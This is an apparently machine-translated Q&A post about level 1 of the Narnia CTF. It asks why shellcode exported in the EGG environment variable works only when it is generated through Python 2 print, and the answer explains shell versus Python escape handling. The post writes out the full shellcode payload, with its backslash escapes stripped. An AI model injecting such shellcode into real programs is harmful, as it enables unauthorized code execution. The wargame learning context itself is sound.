为什么我们在执行之前用python打印shellcode?
我目前正在通过纳尼亚 CTF 工作。我在第 1 级。在第 1 级,我们有一个调用环境变量的程序。我们可以改变这个环境变量。当我尝试将环境变量设置为某些十六进制代码时,程序会引发段错误。
export EGG="xebx11x5ex31xc9xb1x21x80x6cx0exffx01x80xe9x01x75xf6xebx05xe8xeaxffxffxffx6bx0cx59x9ax53x67x69x2ex71x8axe2x53x6bx69x69x30x63x62x74x69x30x63x6ax6fx8axe4x53x52x54x8axe2xcex81"
我在网上看了一下,似乎人们通过让python打印来生成shellcode,然后将其存储为命令。当我使用上面的 shellcode 执行此操作时,它看起来像这样:
export EGG=$(python -c 'print "xebx11x5ex31xc9xb1x21x80x6cx0exffx01x80xe9x01x75xf6xebx05xe8xeaxffxffxffx6bx0cx59x9ax53x67x69x2ex71x8axe2x53x6bx69x69x30x63x62x74x69x30x63x6ax6fx8axe4x53x52x54x8axe2xcex81"')
当我这样做时,程序成功运行。有人可以解释这两个命令的不同之处吗?谢谢!
回答
export EGG="xebx11...实际上并不解释转义序列。您正在设置EGG为带有文字反斜杠和十六进制字符的字符串。
当您使用 时export EGG=$(python -c 'print "xebx11...,Python 的唯一工作就是解释转义序列。Python 接收带有文字反斜杠和十六进制字符的输入,并执行 Python 字符串文字解析,生成一个包含您想要的实际字节的字符串。
请注意,此代码依赖于使用 Python 2;Python 3 字符串处理非常不同。